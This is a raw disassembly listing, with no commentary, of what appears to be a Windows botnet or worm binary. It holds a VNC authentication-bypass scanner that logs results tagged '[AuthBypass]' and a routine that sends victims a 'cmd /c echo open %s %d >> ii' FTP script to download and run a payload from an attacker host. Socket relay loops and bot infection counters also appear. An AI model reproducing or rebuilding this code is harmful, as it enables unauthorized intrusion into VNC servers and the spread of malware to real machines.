[ebp-32h], 1Fh call sub_41BD10 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 27302CEh nop mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40E7CD: ; CODE XREF: ___:0040E857j cmp dword ptr [ebp-0Ch], 2 jge loc_40E862 push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40E296 add esp, 2Ch test al, al jz short loc_40E85F cmp [ebp-4Ch], ebx jz short loc_40E851 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 27110B5h test eax, eax jnz short loc_40E838 nop call near ptr 26A0EA9h cmp eax, 3E5h jnz loc_40E439 loc_40E838: ; CODE XREF: ___:0040E825j push 3E8h push dword ptr [ebp-4Ch] call near ptr 26B065Ah nop cmp eax, 102h jnz short loc_40E851 mov byte ptr [ebp+0Bh], 1 loc_40E851: ; CODE XREF: ___:0040E804j ; ___:0040E84Bj cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40E7CD jmp short loc_40E862 ; --------------------------------------------------------------------------- loc_40E85F: ; CODE XREF: ___:0040E7FFj mov esi, [ebp-8] loc_40E862: ; CODE XREF: ___:0040E7D1j ; ___:0040E85Dj push dword ptr [ebp-4] mov edi, dword_427078 call edi push esi call sub_41BA31 cmp [ebp-4Ch], ebx pop ecx jz short loc_40E87E push dword ptr [ebp-4Ch] call edi loc_40E87E: ; CODE XREF: ___:0040E877j cmp [ebp+0Bh], bl setnz al loc_40E884: ; CODE XREF: ___:0040E43Bj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 6Dh ; m db 0D4h ; Ô db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 0E8h ; è db 43h ; C db 2Ah ; * db 6Ah ; j db 71h ; q db 90h ; db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 81h ; db 2Eh ; . db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 0E8h ; è db 4Fh ; O db 53h ; S db 6Ah ; j db 71h ; q db 90h ; db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 75h ; u db 55h ; U db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 14h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 8 db 91h ; ‘ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 40h ; @ db 90h ; db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0E1h ; á db 0C0h ; À db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 20h db 2Ch ; , db 43h ; C db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 0CFh ; Ï db 0D7h ; × db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 1Eh db 0D0h ; Ð db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 0A2h ; ¢ db 31h ; 1 db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 0E8h ; è db 0FFh db 30h ; 0 db 6Ah ; j db 71h ; q db 90h ; db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; Ã db 53h dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh dd 7D0h, 1B7DE890h, 83430229h, 0B87202FBh, 5F58016Ah ; --------------------------------------------------------------------------- pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9CB proc near ; CODE XREF: sub_40EAB9+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40EA99 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40EA99 mov edi, 400h push esi mov esi, dword_427214 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4C9040 push [ebp+arg_0] call sub_40A9FA pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40EA9D loc_40EA99: ; CODE XREF: sub_40E9CB+50j ; sub_40E9CB+62j xor eax, eax jmp short loc_40EAB4 ; --------------------------------------------------------------------------- loc_40EA9D: ; CODE XREF: sub_40E9CB+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_40EAB4: ; CODE XREF: sub_40E9CB+D0j pop edi pop esi pop ebx leave retn sub_40E9CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EAB9 proc near ; CODE XREF: sub_40C3D3+1E6p ; DATA XREF: ___:off_43180Co var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4C9344 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4C9304 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40EB2B lea eax, [ebp+var_10] push 10h push eax push esi nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40EB0C push esi jmp short loc_40EB25 ; --------------------------------------------------------------------------- loc_40EB0C: ; CODE XREF: sub_40EAB9+4Ej push 0 push 1213h push offset dword_432C94 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_40EB2F loc_40EB25: ; CODE XREF: sub_40EAB9+51j nop call near ptr 71AB1A6Dh loc_40EB2B: ; CODE XREF: sub_40EAB9+3Cj xor eax, eax jmp short loc_40EB71 ; --------------------------------------------------------------------------- loc_40EB2F: ; CODE XREF: sub_40EAB9+6Aj nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40E9CB add esp, 0C0h test eax, eax jz short loc_40EB6E mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40EB6E: ; CODE XREF: sub_40EAB9+9Ej push 1 pop eax loc_40EB71: ; CODE XREF: sub_40EAB9+74j pop edi pop esi leave retn sub_40EAB9 endp ; =============== S U B R O U T I N E ======================================= sub_40EB75 proc near ; CODE XREF: ___:0040EC63p ; ___:0040ECC5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40EB7D: ; CODE XREF: sub_40EB75+2Dj test edi, edi jle short loc_40EBA8 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4C931C test eax, eax jz short loc_40EBA4 cmp eax, 0FFFFFFFFh jz short loc_40EBA4 sub edi, eax add esi, eax jmp short loc_40EB7D ; --------------------------------------------------------------------------- loc_40EBA4: ; CODE XREF: sub_40EB75+22j ; sub_40EB75+27j xor eax, eax jmp short loc_40EBAB ; --------------------------------------------------------------------------- loc_40EBA8: ; CODE XREF: sub_40EB75+Aj push 1 pop eax loc_40EBAB: ; CODE XREF: sub_40EB75+31j pop edi pop esi retn sub_40EB75 endp ; =============== S U B R O U T I N E ======================================= sub_40EBAE proc near ; CODE XREF: ___:0040ECAFp ; ___:0040ECDCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40EBEB xor esi, esi test edi, edi jle short loc_40EBE5 loc_40EBBE: ; CODE XREF: sub_40EBAE+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4C9354 cmp eax, 0FFFFFFFFh jz short loc_40EBEB test eax, eax jz short loc_40EBEB add esi, eax cmp esi, edi jl short loc_40EBBE loc_40EBE5: ; CODE XREF: sub_40EBAE+Ej push 1 pop eax loc_40EBE8: ; CODE XREF: sub_40EBAE+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40EBEB: ; CODE XREF: sub_40EBAE+8j ; sub_40EBAE+2Bj ... xor eax, eax jmp short loc_40EBE8 sub_40EBAE endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433ED8 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4C9384 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40EC1D push eax jmp short loc_40EC51 ; --------------------------------------------------------------------------- loc_40EC1D: ; CODE XREF: ___:0040EC18j lea eax, [ebp+0Ch] push eax call dword_4C9344 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4C9304 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4C92AC cmp eax, 0FFFFFFFFh jnz short loc_40EC5C push ebx loc_40EC51: ; CODE XREF: ___:0040EC1Bj call dword_4C939C jmp loc_40EE57 ; --------------------------------------------------------------------------- loc_40EC5C: ; CODE XREF: ___:0040EC4Ej lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41CA73 add esp, 10h cmp eax, esi jnz loc_40EE50 cmp dword ptr [ebp-28h], 3 jz short loc_40ECA8 cmp dword ptr [ebp-20h], 8 jnz loc_40EE50 loc_40ECA8: ; CODE XREF: ___:0040EC9Cj lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40EBAE add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-2] push 1 push eax push ebx call sub_40EBAE add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40EE50 push 1 push offset word_4C91BC push ebx call sub_40EBAE add esp, 0Ch test eax, eax jz loc_40EE50 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40EB75 add esp, 0Ch test eax, eax jz loc_40EE50 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41D735 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40EDE0 push edi push esi push ebx call sub_40EB75 add esp, 0Ch loc_40EDE0: ; CODE XREF: ___:0040EDD3j and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41C100 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409862 lea eax, [ebp-24Ch] push eax call sub_415CEE mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431810[eax] push ebx lea eax, dword_431810[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40EE59 ; --------------------------------------------------------------------------- loc_40EE50: ; CODE XREF: ___:0040EC6Dj ; ___:0040EC92j ... push ebx nop call near ptr 71AB1A6Dh loc_40EE57: ; CODE XREF: ___:0040EC57j xor eax, eax loc_40EE59: ; CODE XREF: ___:0040EE4Ej pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EE67: ; CODE XREF: ___:0040EE83j ; ___:0040EE9Fj push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CC048 call dword_4C931C test eax, eax jle short loc_40EE67 lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CC044 nop call near ptr 2720000h jmp short loc_40EE67 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40EEAA: ; CODE XREF: ___:0040EED0j ; ___:0040EEEAj lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CC038 call near ptr 27110B5h nop cmp dword ptr [ebp-4], 0 jle short loc_40EEAA push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CC048 call dword_4C9354 jmp short loc_40EEAA ; --------------------------------------------------------------------------- dword_40EEEC dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401AC7+2CDAo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 0F1E85057h, 830000CDh, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4C9304h, 6A56066Ah, 45896602h, 8415FFCAh dd 89004C93h, 458D0845h, 50106AC8h, 0FF0875FFh, 4C933015h dd 0FF056A00h, 15FF0875h, 4C932Ch, 71141D8Bh, 358B0042h dd 427078h, 75FF5757h, 9815FF08h, 0A3004C93h, 4CC048h dd 57F4458Dh, 0C0446850h, 4068004Ch, 0C7004CC0h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CC03Ch dd 4CC03868h, 6AD3FF00h, 84458D44h, 55E85057h, 0A10000CDh dd 4CC040h, 890CC483h, 3CA1BC45h, 89004CC0h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 64E890B4h, 5002321Dh, 0C03C35FFh, 0E890004Ch dd 2321D57h, 0F1E89050h, 8D023217h, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433EDC68h dd 0E8905700h, 2271317h, 50E8458Dh, 0A1685757h, 8D0040EEh dd 5057F445h, 1548E890h, 45890229h, 0E8458DECh, 68575750h dd 40EE5Eh, 57F4458Dh, 1530E850h, 6A900229h, 0F04589FFh dd 0E8D875FFh, 22A15F6h, 75FF5790h, 0C0E890F0h, 57022A1Dh dd 90EC75FFh, 2A1DB6E8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh dd 0E8D875FFh, 23215E0h, 4035FF90h, 0FF004CC0h, 4435FFD6h dd 0FF004CC0h, 3835FFD6h, 0FF004CC0h, 3C35FFD6h, 0FF004CC0h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9AB2h, 0C050A359h dd 0C359004Ch dword_40F0D8 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BD7C+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 5E85053h, 830000CCh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4C9304h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4C938415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFA706h, 8D14C483h, 0FFFD4085h, 83E850FFh dd 0FF00006Bh, 0FFFF54B5h, 0C553E8FFh, 5959FFFFh, 0E82E853h dd 8B90022Fh, 0FFFF5485h, 69106AFFh, 234C0h, 4CB88900h dd 8D0043C2h, 5750EC45h, 933015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4C929815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA686h, 8D14C483h dd 0FFFD4085h, 3E850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4D3E8FFh dd 5959FFFFh, 1E89056h, 68022F0Eh, 0FFFEh, 9978E853h, 0A3590000h dd 4CC050h, 45896659h, 0EC458DEEh, 5750106Ah, 933015FFh dd 0C63B004Ch, 15FF5475h, 4C9298h, 7539F633h, 3D2775E4h dd 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh, 60858D50h dd 50FFFFFFh, 0FF50B5FFh, 0BE8FFFFh, 83FFFFA6h, 858D14C4h dd 0FFFFFD40h, 6A88E850h, 0B5FF0000h, 0FFFFFF54h, 0FFC458E8h dd 565959FFh, 0D86E890h, 56A022Fh, 2C15FF57h, 3B004C93h dd 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h, 8D004291h dd 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4C939815h, 0FFF88300h dd 74084589h, 0E47D83E6h, 6A217500h, 40858D00h, 0FFFFFFFDh dd 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h, 0FFA58DE8h dd 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A0Ah, 40858D59h dd 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h, 4C931Ch dd 74FFF883h, 0FF565696h, 4C904035h, 50B5FF00h, 0E8FFFFFFh dd 0FFFFB6E6h, 0E4685059h, 8D00433Eh, 0FFF94085h, 0E85053FFh dd 0CDD8h, 8D1CC483h, 0FFF94085h, 50006AFFh, 0C627E8h dd 8D505900h, 0FFF94085h, 75FF50FFh, 5415FF08h, 83004C93h dd 840FFFF8h, 0FFFFFF43h, 0C05805FFh, 38E9004Ch, 57FFFFFFh dd 939C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC358E8h, 6A59FFh dd 0C86E890h db 2Fh, 2 word_40F37A dw 8B55h ; DATA XREF: sub_40BD7C+22Ao dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89D85Dh, 0E85D89E0h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 4E10E890h, 5356716Ah, 0E890026Ah dd 716A484Eh, 71F4358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h, 8B57FB6Ah dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A214DE8h dd 40A16671h, 83004C90h, 5000C865h, 0C445C766h, 15FF0002h dd 4C9304h, 0C6458966h, 6AC4458Dh, 90575010h, 6A4A99E8h dd 7DC08571h, 0E9C38B07h, 545h, 90570A6Ah, 6A6999E8h, 0D49D8971h dd 8BFFFFFDh, 4272201Dh, 0D8BD8900h, 89FFFFFDh, 416AFC7Dh dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h dd 56FFFFFBh, 8B505656h, 5040FC45h, 240AE890h, 0F883716Ah dd 0F3840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h dd 60858D64h, 56FFFFFDh, 0C866E850h, 646A0000h, 0FF50858Dh dd 5056FFFFh, 0C857E8h, 18C48300h, 0FBC4858Dh, 5750FFFFh dd 1716DE8h, 0FC08500h, 49F84h, 0F87D3B00h, 458D7A75h dd 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 0E8F875FFh dd 716A919Dh, 0FFF88390h, 476840Fh, 0C9330000h, 0FDD4B539h dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh dd 0FC458903h, 68156A56h, 4341A4h, 0E9D3FF50h, 420h, 60858D56h dd 6AFFFFFDh, 0E8575064h, 716A6130h, 7FC08590h, 0D4958B52h dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh dd 4508BFFh, 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah dd 0D48DFFECh, 57FFFFFDh, 24BBE890h, 0B9E9716Ah, 8D000003h dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh dd 43419Ch, 0D49DE850h, 858D0000h, 0FFFFFF50h, 43419468h dd 0F9E85000h, 830000D1h, 0C08518C4h, 6A560D75h, 417C6816h dd 82E90043h, 8D000000h, 0FFFF5085h, 417468FFh, 0E8500043h dd 0D1D4h, 59C08559h, 6A560A75h, 415C6814h, 61EB0043h dd 0FF50858Dh, 5468FFFFh, 50004341h, 0D1B3E8h, 0C0855900h dd 560A7559h, 44680D6Ah, 0EB004341h, 50858D40h, 68FFFFFFh dd 43413Ch, 0D192E850h, 85590000h, 0A7559C0h, 68106A56h dd 434128h, 858D1FEBh, 0FFFFFF50h, 43412468h, 71E85000h dd 590000D1h, 7559C085h, 1E6A560Eh, 43410468h, 0D6E95700h dd 0BF000002h, 4340FCh, 0FF50858Dh, 5057FFFFh, 0D14BE8h dd 0C0855900h, 8D247559h, 0FFFCC885h, 40F868FFh, 0E8500043h dd 0D134h, 59C08559h, 6A560D75h, 40E46813h, 97E90043h dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D114h, 59C08559h dd 858D2475h, 0FFFFFCC8h, 4340E068h, 0FDE85000h, 590000D0h dd 7559C085h, 136A560Dh, 4340CC68h, 260E900h, 858D0000h dd 0FFFFFF50h, 4340C468h, 0D9E85000h, 590000D0h, 7559C085h dd 0BE0A6A34h, 434098h, 0D8BD8D59h, 0F3FFFFFEh, 858D50A5h dd 0FFFFFED8h, 0E8A56650h, 0C234h, 858D5059h, 0FFFFFED8h dd 875FF50h, 0F633D3FFh, 21AE9h, 50858D00h, 68FFFFFFh dd 434090h, 0D08EE850h, 85590000h, 2A7559C0h, 78BE056Ah dd 59004340h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h dd 0E8A450FFh, 0C1E8h, 858D5059h, 0FFFFFF38h, 858DB2EBh dd 0FFFFFF50h, 43407068h, 4DE85000h, 590000D0h, 0F59C085h dd 0B385h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h dd 404868FFh, 0E8500043h, 0D2A7h, 0FF04858Dh, 0E850FFFFh dd 0C721h, 858DF88Bh, 0FFFFFD2Ch, 0C713E850h, 45890000h dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C518h, 8DF475FFh dd 0FFFF0485h, 406857FFh, 50004340h, 0C7F9E8h, 44C48300h dd 0FF04858Dh, 106AFFFFh, 0FE85056h, 890000CDh, 458DF445h dd 458D50ECh, 458D50E4h, 458D50DCh, 458D50D4h, 403468B4h dd 0E8500043h, 0C7C6h, 5624C483h, 14681D6Ah, 0E9004340h dd 106h, 0FF50858Dh, 0C68FFFFh, 50004340h, 0CF7FE8h, 0C0855900h dd 0CC850F59h, 56000000h, 0E068286Ah, 0FF00433Fh, 0D3FF0875h dd 8DF475FFh, 0E850B445h, 108h, 1F88359h, 9E850F59h, 39000000h dd 0FFFBBCB5h, 562375FFh, 0F720858Dh, 0B5FFFFFFh, 0FFFFFBB8h dd 38858D50h, 50FFFFFBh, 0F920B5FFh, 0ABE8FFFFh, 83FFFF9Fh dd 4AE814C4h, 83000001h, 850F01F8h, 93h, 68176A56h, 433FC8h dd 0FF0875FFh, 0B4458DD3h, 20858D50h, 68FFFFF7h, 433F94h dd 0C71CE850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh, 858D5623h dd 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h, 0B5FF50FFh dd 0FFFFF920h, 0FF9F4DE8h, 14C483FFh, 0F720858Dh, 0E850FFFFh dd 63CAh, 0BE1005FFh, 0EB59004Ch, 206A562Eh, 433F7068h dd 8D1FEB00h, 0FFFF5085h, 0CD2C68FFh, 0E8500042h, 0CE98h dd 59C08559h, 6A560D75h, 3F54681Bh, 75FF0043h, 6AD3FF08h dd 60858D64h, 56FFFFFDh, 0C3A6E850h, 7D8B0000h, 0CC48308h dd 0FC7D3B47h, 0F087D89h, 0FFFB1C8Eh, 0FADCE9FFh, 16AFFFFh dd 5B5E5F58h, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CC05C, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CC05C call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40FA04 push dword_4CC05C call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40FA04: ; CODE XREF: ___:0040F9ECj push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp 